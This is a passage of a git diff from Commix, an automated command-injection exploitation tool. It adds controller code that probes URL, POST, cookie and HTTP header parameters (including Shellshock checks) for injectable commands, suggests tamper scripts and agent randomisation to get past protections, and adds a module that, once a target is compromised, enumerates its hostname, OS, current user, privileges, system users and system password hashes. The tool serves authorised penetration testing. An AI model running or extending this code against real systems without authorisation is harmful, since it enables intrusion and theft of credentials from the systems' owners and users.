+ if settings.STORED_TECHNIQUES:
+ rows = [(row[1], row[2], row[5], row[10], "HTTP Header" if row[11] else row[12]) for row in settings.STORED_TECHNIQUES.values()]
+ checks.resumed_injection_points_summary(rows)
+ checks.suggest_os_shell()
+ checks.quit(filename, url, hard_exit=False)
+ elif settings.CONFIRMED_INJECTION_POINTS and not settings.ASKED_KEEP_TESTING:
+ settings.ASKED_KEEP_TESTING = True
+ if checks.prompt_keep_testing(url):
+ checks.quit(filename, url, hard_exit=False)
+
+ if not settings.CHECK_BOTH_OS or end_detection:
+ break
+
+"""
+Whether this parameter already has a stored session - used to test known-vulnerable ones first.
+"""
+def has_stored_session(url, check_parameter, http_request_method):
+ if menu.options.ignore_session or menu.options.flush_session or not os.path.isfile(settings.SESSION_FILE):
+ return False
+ try:
+ return bool(session_handler.load_stored_techniques(url, check_parameter, http_request_method))
+ except Exception:
+ return False
+
+"""
+Perform injection for a specific HTTP header (User-Agent, Referer, or Host)
+"""
+def http_headers_injection(url, http_request_method, filename, timesec):
+
+ # Test one HTTP header as the parameter, then put back what it held.
+ def inject_header(header_attr, option_attr, injection_flag_attr):
+ # Save the original value of the option (to restore later)
+ original_value = getattr(menu.options, option_attr)
+
+ # Enable the corresponding injection flag
+ setattr(settings, injection_flag_attr, True)
+
+ # Get the header name (e.g. "user-agent", "referer", "host")
+ header_name = getattr(settings, header_attr).lower()
+ settings.HTTP_HEADER = check_parameter = header_name
+
+ # Check if the session has stored data for this header
+ new_url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
+
+ # If the header was replaced or injection failed, reset the injection flag
+ reset_flag = check_parameter != header_name
+ if not reset_flag:
+ try:
+ reset_flag = not injection_process(new_url, check_parameter, http_request_method, filename, timesec, getattr(settings, header_attr))
+ except settings.NextParameterException:
+ reset_flag = True
+ if reset_flag:
+ setattr(settings, injection_flag_attr, None)
+
+ # Restore the original option value
+ setattr(menu.options, option_attr, original_value)
+
+ # If no specific test or skip parameters and no injection flags are set, test all headers
+ no_injection_flags = not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION and not settings.HOST_INJECTION
+ no_test_or_skip = menu.options.test_parameter is None and menu.options.skip_parameter is None
+
+ # Determine whether a header should be tested for injection
+ def test_header(header_attr):
+ # Check if the corresponding injection flag is already active
+ if getattr(settings, header_attr.upper() + "_INJECTION"):
+ return True
+
+ # A marker naming one header asks for that header - the others are reached only when nothing
+ # named a specific one, or the rest would be tested off the back of a request for this one.
+ if not no_injection_flags:
+ return False
+
+ # Named as it is written: 'ua', 'useragent' and 'user-agent' all ask for the same header.
+ if settings.TESTABLE_PARAMETERS_LIST:
+ return checks.header_named(getattr(settings, header_attr), settings.TESTABLE_PARAMETERS_LIST)
+ if settings.SKIP_PARAMETERS_LIST:
+ return not checks.header_named(getattr(settings, header_attr), settings.SKIP_PARAMETERS_LIST)
+ return True
+
+ # Test already-confirmed headers first, not in fixed order.
+ headers = ["USER_AGENT", "REFERER", "HOST"]
+ headers.sort(key=lambda header_attr: not has_stored_session(url, getattr(settings, header_attr).lower(), http_request_method))
+ header_args = {
+ "USER_AGENT": ("agent", "USER_AGENT_INJECTION"),
+ "REFERER": ("referer", "REFERER_INJECTION"),
+ "HOST": ("host", "HOST_INJECTION"),
+ }
+
+ if no_injection_flags and no_test_or_skip:
+ for header_attr in headers:
+ inject_header(header_attr, *header_args[header_attr])
+ else:
+ # Conditional injection based on test/skip flags or predefined injection settings
+ for header_attr in headers:
+ if test_header(header_attr):
+ inject_header(header_attr, *header_args[header_attr])
+
+"""
+Inject Cookie parameters
+"""
+def cookie_injection(url, http_request_method, filename, timesec):
+ if not menu.options.cookie:
+ check_parameter = settings.COOKIE.lower()
+ check_for_stored_sessions(url, check_parameter, http_request_method)
+
+ cookie = menu.options.cookie
+ if cookie:
+ settings.COOKIE_INJECTION = True
+ # Cookie Injection
+ header_name = settings.SINGLE_WHITESPACE + settings.COOKIE
+ settings.HTTP_HEADER = header_name[1:].lower()
+ cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
+ if type(cookie_parameters) is str:
+ cookie_parameters_list = []
+ cookie_parameters_list.append(cookie_parameters)
+ cookie_parameters = cookie_parameters_list
+ do_injection(cookie_parameters, settings.COOKIE, url, http_request_method, filename, timesec)
+
+ if settings.COOKIE_INJECTION:
+ # Restore cookie value
+ menu.options.cookie = cookie
+ # Disable cookie injection
+ settings.COOKIE_INJECTION = False
+
+"""
+Remove parameters containing the injection tag from the testable parameters list.
+"""
+def filtered_testable_parameters():
+ settings.TESTABLE_PARAMETERS_LIST = [
+ param for param in settings.TESTABLE_PARAMETERS_LIST
+ if settings.INJECT_TAG not in param]
+ return settings.TESTABLE_PARAMETERS_LIST
+
+"""
+Process a list of parameters to test for injection vulnerabilities.
+"""
+def do_injection(found, data_type, url, http_request_method, filename, timesec):
+
+ """
+ Validate parameter names using allowed characters:
+ letters, digits, underscores, hyphens, dots, and square brackets.
+ """
+ def is_valid_param_name(name):
+ if not isinstance(name, str):
+ return False
+ name = name.strip()
+ if not name:
+ return False
+ return bool(re.match(r'^[\w._\-\[\]]+$', name, re.UNICODE))
+
+ """
+ Define the check parameter based on the data type (POST, GET, COOKIE).
+ """
+ def define_check_parameter(param, current_url):
+ if data_type == settings.HTTPMETHOD.POST:
+ menu.options.data = param
+ check_param = parameters.vuln_POST_param(param, current_url)
+ elif data_type == settings.HTTPMETHOD.GET:
+ current_url = param
+ check_param = parameters.vuln_GET_param(current_url)
+ elif data_type == settings.COOKIE:
+ menu.options.cookie = param
+ check_param = parameters.specify_cookie_parameter(param)
+ else:
+ check_param = ""
+ return current_url, check_param
+
+ """
+ Return a unique identifier for the parameter by prefixing it with the data type.
+ """
+ def get_contextual_name(check_param):
+ return checks.tested_parameter_name(data_type, check_param)
+
+ """
+ Perform the injection call and update tested parameters.
+ """
+ def injection_call(url, check_param):
+ contextual_name = get_contextual_name(check_param)
+ url, check_param = define_check_parameter(found[index], url)
+ url, check_param = check_for_stored_sessions(url, check_param, http_request_method)
+ # Dispatched as a GET, POST or Cookie parameter, and tested as one whatever it is named.
+ injection_process(url, check_param, http_request_method, filename, timesec, data_type)
+ settings.TESTED_PARAMETERS_LIST.append(contextual_name)
+
+ check_parameters = []
+ param_mapping = {}
+
+ # Filter and validate parameters to prepare for injection tests
+ for param in found:
+ url, check_param = define_check_parameter(param, url)
+ if not check_param:
+ continue
+ contextual_name = get_contextual_name(check_param)
+ if contextual_name in settings.TESTED_PARAMETERS_LIST:
+ continue
+ if not is_valid_param_name(check_param):
+ continue
+ check_parameters.append(check_param)
+ param_mapping[check_param] = param
+
+ # Prepare testable parameters
+ filtered_testable_parameters()
+ checks.testable_parameters(url, check_parameters)
+
+ # Custom marker parameters are always targeted, regardless of -p/--skip.
+ custom_params = set(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) \
+ if settings.CUSTOM_INJECTION_MARKER else set()
+
+ # Test already-confirmed parameters first, not in request order.
+ if not menu.options.ignore_session and not menu.options.flush_session and os.path.isfile(settings.SESSION_FILE):
+ # Whether this parameter already has a finding stored from an earlier run.
+ def has_stored_session(check_param):
+ try:
+ return bool(session_handler.load_stored_techniques(url, check_param, http_request_method))
+ except Exception:
+ return False
+ check_parameters.sort(key=lambda param: not has_stored_session(param))
+
+ for check_param in check_parameters:
+ contextual_name = get_contextual_name(check_param)
+ if contextual_name in settings.TESTED_PARAMETERS_LIST:
+ continue
+
+ try:
+ original_param = param_mapping[check_param]
+ index = found.index(original_param)
+ except (KeyError, ValueError):
+ continue
+
+ if check_param in custom_params or checks.is_parameter_testable(check_param):
+ try:
+ injection_call(url, check_param)
+ except settings.NextParameterException:
+ continue
+
+"""
+Check if HTTP Method is GET.
+"""
+def get_request(url, http_request_method, filename, timesec):
+ found_url = parameters.do_GET_check(url, http_request_method)
+
+ if found_url is not False:
+ do_injection(found_url, settings.HTTPMETHOD.GET, url, http_request_method, filename, timesec)
+
+"""
+Check if HTTP Method is POST.
+"""
+def post_request(url, http_request_method, filename, timesec):
+
+ parameter = settings.USER_DEFINED_POST_DATA
+ found_parameter = parameters.do_POST_check(parameter, http_request_method)
+
+ if type(found_parameter) is str:
+ found_parameter_list = []
+ found_parameter_list.append(found_parameter)
+ found_parameter = found_parameter_list
+
+ if any((settings.IS_JSON, settings.IS_XML)):
+ # Remove junk data
+ found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x]
+ else:
+ # Remove whitespaces
+ found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter]
+
+ do_injection(found_parameter, settings.HTTPMETHOD.POST, url, http_request_method, filename, timesec)
+
+"""
+Perform GET / POST parameters checks
+"""
+def data_checks(url, http_request_method, filename, timesec):
+ settings.CUSTOM_HEADER_INJECTION = False
+
+ init_cookie_injection_status()
+ # Neither sweep reports back, so both are run rather than one gating the other.
+ if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA:
+ post_request(url, http_request_method, filename, timesec)
+ if not settings.SKIP_NON_CUSTOM_PARAMS:
+ get_request(url, http_request_method, filename, timesec)
+ else:
+ # The POST body is either absent or not the one under test, so only the URL is swept.
+ get_request(url, http_request_method, filename, timesec)
+
+"""
+Perform checks over cookie values.
+"""
+def cookies_checks(url, http_request_method, filename, timesec):
+ if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \
+ settings.INJECTION_MARKER_LOCATION.COOKIE or \
+ settings.COOKIE_INJECTION:
+ if not settings.SKIP_NON_CUSTOM_PARAMS:
+ cookie_injection(url, http_request_method, filename, timesec)
+
+"""
+Perform checks over HTTP Headers parameters.
+"""
+def headers_checks(url, http_request_method, filename, timesec):
+ if checks.any_header_named(settings.TESTABLE_PARAMETERS_LIST) or \
+ settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or \
+ settings.HTTP_HEADERS_INJECTION:
+ if not settings.SKIP_NON_CUSTOM_PARAMS:
+ http_headers_injection(url, http_request_method, filename, timesec)
+
+"""
+Perform checks over custom HTTP Headers parameters.
+"""
+def custom_headers_checks(url, http_request_method, filename, timesec):
+ for name in range(len(settings.CUSTOM_HEADERS_NAMES)):
+ if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER:
+ settings.CUSTOM_HEADER_INJECTION = False
+ else:
+ settings.CUSTOM_HEADER_INJECTION = True
+ settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0]
+ settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower()
+ settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
+ settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)
+ url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
+ try:
+ if check_parameter != header_name or not injection_process(url, check_parameter, http_request_method, filename, timesec, settings.CUSTOM_HEADER_PLACE):
+ settings.CUSTOM_HEADER_INJECTION = False
+ except settings.NextParameterException:
+ settings.CUSTOM_HEADER_INJECTION = False
+ settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name])
+ settings.CUSTOM_HEADER_INJECTION = False
+
+"""
+Perform checks across multiple HTTP components (URL parameters, POST data, cookies,
+standard headers, and custom headers) to identify possible injection points.
+"""
+def perform_checks(url, http_request_method, filename):
+
+ # Prepare whitespaces if multiple targets or stdin parsing is used,
+ # and more than one whitespace character is defined. Keep only one.
+ # The literal constant is what every whitespace tamper's own reclaim check compares against - a
+ # URL-quoted one ('%20') never equals it, and so is never reclaimed, leaving it stuck underneath
+ # whatever a tamper appends instead.
+ if (settings.MULTI_TARGETS or settings.STDIN_PARSING) and \
+ len(settings.WHITESPACES) > 1:
+ settings.WHITESPACES = [settings.SINGLE_WHITESPACE]
+
+ timesec = settings.TIMESEC
+
+ # Handle authentication if both the authentication URL and the authentication data are provided.
+ if menu.options.auth_url and menu.options.auth_data:
+ authentication.authentication_process(http_request_method)
+ try:
+ response = headers.send_raw(url)
+ try:
+ main_content = response.read()
+ finally:
+ response.close()
+
+ response = headers.send_raw(menu.options.auth_url)
+ try:
+ auth_content = response.read()
+ finally:
+ response.close()
+
+ # Verify authentication success by comparing the response content of the main URL and the auth URL.
+ if main_content == auth_content:
+ err_msg = "Authentication failed using the specified credentials and URL."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
+ # Authentication request failed due to a connection or HTTP error.
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ # If only one of the required authentication options is provided, display an error and exit.
+ elif menu.options.auth_url or menu.options.auth_data:
+ err_msg = "Authentication requires specifying both '--auth-url' and '--auth-data' options."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ # If shellshock testing is enabled, force the injection level to HTTP header level.
+ if menu.options.shellshock:
+ settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL
+ else:
+ # If the user specified a custom injection level and no custom marker is used,
+ # set the level to the user-defined value.
+ if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and \
+ not settings.CUSTOM_INJECTION_MARKER:
+ settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL
+
+ proceed_non_custom = True
+
+ # Perform custom marker-based checks if custom injection marker is enabled.
+ if settings.CUSTOM_INJECTION_MARKER:
+ proceed_non_custom = False
+
+ # Perform checks over GET and POST parameters.
+ if settings.INJECTION_MARKER_LOCATION.URL or \
+ settings.INJECTION_MARKER_LOCATION.DATA:
+ data_checks(url, http_request_method, filename, timesec)
+
+ # Perform checks over cookie values.
+ if settings.INJECTION_MARKER_LOCATION.COOKIE:
+ cookies_checks(url, http_request_method, filename, timesec)
+
+ # Perform checks over standard HTTP headers (User-Agent, Referer, Host).
+ if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS:
+ headers_checks(url, http_request_method, filename, timesec)
+
+ # Perform checks over custom user-defined HTTP headers.
+ if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS:
+ custom_headers_checks(url, http_request_method, filename, timesec)
+
+ # Check if the injection marker is set in either URL or POST data (but not both)
+ has_exclusive_marker = settings.INJECTION_MARKER_LOCATION.URL ^ settings.INJECTION_MARKER_LOCATION.DATA
+ # Check if no injection marker is set in either URL or POST data
+ has_no_marker = not settings.INJECTION_MARKER_LOCATION.URL and not settings.INJECTION_MARKER_LOCATION.DATA
+ # If there’s user POST data and an exclusive marker, or no marker at all,
+ # and no testable GET parameters, proceed with non-custom checks
+ if has_exclusive_marker or has_no_marker:
+ checks.process_non_custom()
+
+ # Perform default (non-custom) injection checks if not explicitly skipped.
+ if not settings.SKIP_NON_CUSTOM_PARAMS:
+ # Disable custom injection mode before running default checks.
+ settings.CUSTOM_INJECTION_MARKER = False
+
+ # Perform checks over GET/POST parameters if allowed or marker is not set in URL/DATA.
+ if settings.TESTABLE_PARAMETERS_LIST or \
+ not settings.INJECTION_MARKER_LOCATION.URL or \
+ not settings.INJECTION_MARKER_LOCATION.DATA:
+ data_checks(url, http_request_method, filename, timesec)
+
+ if proceed_non_custom:
+ # Determine if we should perform cookie-based injection checks.
+ cookie_check = (settings.TESTABLE_PARAMETERS_LIST or \
+ not settings.INJECTION_MARKER_LOCATION.COOKIE) and \
+ settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL
+ if cookie_check:
+ settings.COOKIE_INJECTION = True
+ cookies_checks(url, http_request_method, filename, timesec)
+
+ # Whether a standard header was asked for by name, under any of the names it answers to.
+ header_found = checks.any_header_named(settings.TESTABLE_PARAMETERS_LIST)
+
+ # Decide if header-based injection should be tested.
+ header_check = (settings.TESTABLE_PARAMETERS_LIST or \
+ not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS) and \
+ settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or header_found
+
+ if header_check:
+ # Perform custom headers injection checks.
+ settings.CUSTOM_HEADER_INJECTION = True
+ custom_headers_checks(url, http_request_method, filename, timesec)
+
+ settings.HTTP_HEADERS_INJECTION = True
+ headers_checks(url, http_request_method, filename, timesec)
+
+ # Return True if injection checks are active/enabled, False otherwise.
+ return settings.INJECTION_CHECKER is not False
+
+
+"""
+General check on every injection technique.
+"""
+def do_check(url, http_request_method, filename):
+ try:
+ if settings.RECHECK_FILE_FOR_EXTRACTION:
+ settings.RECHECK_FILE_FOR_EXTRACTION = False
+
+ # Check for '--tor' switch.
+ if menu.options.tor:
+ if checks.technique_selected("t") or checks.technique_selected("f"):
+ warn_msg = "It is highly recommended to avoid usage of switch '--tor' for "
+ warn_msg += "time-based injections because of inherent high latency time."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ # Check target URL for CGI scripts vulnerable to Shellshock.
+ checks.check_CGI_scripts(url)
+ # Modules don't need a normal testable parameter to run.
+ modules_handler.load_modules(url, http_request_method, filename)
+ perform_checks(url, http_request_method, filename)
+
+ # All injection techniques seems to be failed!
+ if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION:
+ if settings.NOT_TESTABLE_PARAMETERS:
+ err_msg = checks.nothing_tested_message()
+ else:
+ err_msg = "All tested parameters do not appear to be injectable."
+ if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL :
+ err_msg += " Try to increase value for '--level' option"
+ err_msg += " if you wish to perform more tests."
+ if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES:
+ err_msg += " You can try to re-run without providing the option "
+ if not settings.SKIP_TECHNIQUES :
+ err_msg += "'--technique'."
+ else:
+ err_msg += "'--skip-technique'."
+ untested = checks.untested_techniques()
+ if untested:
+ err_msg += " That would also test the " + untested + "."
+ # A selection that leaves few boundaries, or none, is not something a target did - and what
+ # was never sent cannot have been answered.
+ if menu.options.test_filter or menu.options.test_skip:
+ err_msg += " Only the payload boundaries "
+ if menu.options.test_filter:
+ err_msg += "matching '" + str(menu.options.test_filter) + "'"
+ err_msg += " and " if menu.options.test_skip else ""
+ if menu.options.test_skip:
+ err_msg += "not matching '" + str(menu.options.test_skip) + "'"
+ err_msg += " were sent, so this says nothing about the ones that were not."
+ # A client forced with '--oob-transport' that the target does not have answers nothing, which
+ # is the same silence a parameter that is not injectable produces.
+ if menu.options.oob_transport and settings.OOB_CHANNEL is not None and settings.OOB_STATE is not True:
+ err_msg += " Out-of-band testing was held to the '" + str(menu.options.oob_transport) + "' client by "
+ err_msg += "'--oob-transport' and nothing came back, which is also how a target without that client answers."
+ # A shell that complained about what it was given did run it, so what is missing is the way
+ # the payload was put together rather than a way in.
+ if settings.SHELL_ERROR_SEEN:
+ err_msg += " The target answered with shell or interpreter errors while being tested, so the payload did reach one"
+ if not menu.options.parse_errors:
+ err_msg += " - the '--parse-errors' option shows what it said"
+ err_msg += "."
+ if not menu.options.eval_sink:
+ err_msg += " Code injection was not tested; the '--eval' option tests for it."
+ # The header one is only worth raising while the request still names this tool: a run that
+ # already carries a browser's own - asked for, or settled by the evasion - has nothing to
+ # gain by it. Said at all only where one of the two is left to suggest, since a run already
+ # carrying both would otherwise be told to try something and not told what.
+ suggestions = []
+ if not menu.options.tamper:
+ suggestions.append("use option '--tamper'")
+ if not menu.options.random_agent and not settings.BROWSER_LIKE_HEADERS:
+ suggestions.append("switch '--random-agent'")
+ if suggestions:
+ err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to "
+ err_msg += " and/or ".join(suggestions) + "."
+ err_msg += checks.tamper_shell_feature_note()
+ """
+ A page that is mostly layout answers the comparison badly: what a command prints is a
+ handful of characters against kilobytes of markup, so the two answers come back all but
+ identical either way. Worth raising only here - before this, nothing has gone wrong yet.
+ """
+ if not menu.options.text_only and settings.ORIGINAL_PAGE:
+ percent = checks.page_text_percent(settings.ORIGINAL_PAGE)
+ if settings.DYNAMIC_MARKINGS:
+ err_msg += " You can give it a go with the switch '--text-only', where the target page"
+ err_msg += " has a low percentage of textual content (~" + str(round(percent, 2))
+ err_msg += "% of page content is text)."
+ elif percent < settings.LOW_TEXT_PERCENT:
+ err_msg += " Please retry with the switch '--text-only', as this case looks like a"
+ err_msg += " candidate for it: a low percentage of textual content (~" + str(round(percent, 2))
+ err_msg += "% of page content is text), together with no parameter found to be dynamic."
+ if settings.MULTI_TARGETS:
+ err_msg += " Skipping to the next target."
+ # Said out loud as the verdict it is, but kept out of the report's errors: a run that tested
+ # everything it was asked to and found nothing is a run that worked.
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg, record=False))
+ if not settings.MULTI_TARGETS:
+ # What the run produced is written even where it found nothing: the traffic it sent and the
+ # report of it are the output of a run that came up empty just as much as of one that did not,
+ # and a run that found nothing is the one whose traffic is worth reading.
+ checks.finish_target()
+ logs.print_logs_notification(filename, url)
+ common.show_http_error_codes()
+ raise SystemExit(settings.EXIT_NOTHING_FOUND)
+ elif settings.MULTI_TARGETS:
+ checks.finish_target()
+ logs.print_logs_notification(filename, url)
+ else:
+ # Summary, deferred actions, os-shell entry, log notice and exit all happen in quit().
+ checks.quit(filename, url, hard_exit=False)
+
+ except KeyboardInterrupt:
+ checks.handle_early_interrupt(filename, url)
+
+# eof
diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py
new file mode 100755
index 0000000000..bf683cee5d
--- /dev/null
+++ b/src/core/controller/enumeration.py
@@ -0,0 +1,225 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.core.parse import cmdline as menu
+from src.utils import settings
+from src.core.controller import checks
+from src.core.controller import execution
+
+"""
+Powershell's version number enumeration (for Windows OS)
+"""
+def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd = settings.PS_VERSION
+ if not settings.TIME_RELATED_ATTACK and interpreter:
+ cmd = checks.escape_single_quoted_cmd(cmd)
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ ps_version, fresh = execute_cmd(cmd)
+ checks.print_ps_version(ps_version, filename, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+Hostname enumeration
+"""
+def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ # Chosen for this target, not written over the constant: these are read again for the next one.
+ cmd = settings.WIN_HOSTNAME if settings.TARGET_OS == settings.OS.WINDOWS else settings.HOSTNAME
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ shell, fresh = execute_cmd(cmd)
+ checks.print_hostname(shell, filename, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+Retrieve system information
+"""
+def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ # Chosen for this target, not written over the constant: these are read again for the next one.
+ cmd = settings.WIN_RECOGNISE_OS if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_OS
+ if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and interpreter:
+ cmd = "cmd /c " + cmd
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ checks.print_enumenation().fetching_part("kernel name", technique)
+ target_os, fresh = execute_cmd(cmd)
+
+ if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+
+ if target_os:
+ if settings.TARGET_OS != settings.OS.WINDOWS:
+ cmd = settings.DISTRO_INFO
+ if not settings.TIME_RELATED_ATTACK and checks.using_backticks():
+ cmd = checks.remove_command_substitution(cmd)
+ checks.print_enumenation().fetching_part("distribution", technique)
+ distro_name, distro_fresh = execute_cmd(cmd)
+ fresh = fresh or distro_fresh
+ if distro_name:
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
+
+ cmd = settings.WIN_RECOGNISE_HP if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_HP
+ if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ checks.print_enumenation().fetching_part("hardware platform", technique)
+ target_arch, arch_fresh = execute_cmd(cmd)
+ checks.set_target_arch(target_arch)
+ fresh = fresh or arch_fresh
+ else:
+ target_arch = None
+ checks.print_os_info(target_os, target_arch, filename, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+The current user enumeration
+"""
+def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ # Chosen for this target, not written over the constant: it is read again for the next one.
+ cmd = settings.WIN_CURRENT_USER if settings.TARGET_OS == settings.OS.WINDOWS else settings.CURRENT_USER
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ cu_account, fresh = execute_cmd(cmd)
+ checks.print_current_user(cu_account, filename, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+Check if the Current user is privileged.
+"""
+def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.IS_ADMIN
+ else:
+ cmd = settings.IS_ROOT
+ if checks.using_backticks():
+ cmd = checks.remove_command_substitution(cmd)
+ # The padding the Windows interpreter payload writes is taken off where that payload's own shape
+ # is known, which is the reading itself - undone a second time here, the one space it leaves was
+ # a space of the command's own, and an answer of ' X ' arrived as 'X'.
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE)
+ shell, fresh = execute_cmd(cmd)
+ checks.print_current_user_privs(shell, filename, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+System users enumeration
+"""
+def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd = settings.SYS_USERS
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_SYS_USERS
+ if settings.TIME_RELATED_ATTACK:
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
+ if interpreter:
+ cmd = checks.escape_single_quoted_cmd(cmd)
+ if not settings.TIME_RELATED_ATTACK:
+ cmd = checks.add_new_cmd(cmd)
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True)
+ sys_users, fresh = execute_cmd(cmd)
+ checks.print_users(sys_users, filename, settings.TIME_RELATED_ATTACK and fresh, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter)
+
+"""
+System passwords enumeration
+"""
+def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd = settings.SYS_PASSES
+ drop_false = lambda sys_passes: "" if sys_passes is False else sys_passes
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=drop_false)
+ sys_passes, fresh = execute_cmd(cmd)
+ checks.print_passes(sys_passes, filename, settings.TIME_RELATED_ATTACK and fresh, interpreter)
+
+"""
+Single os-shell execution
+"""
+def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
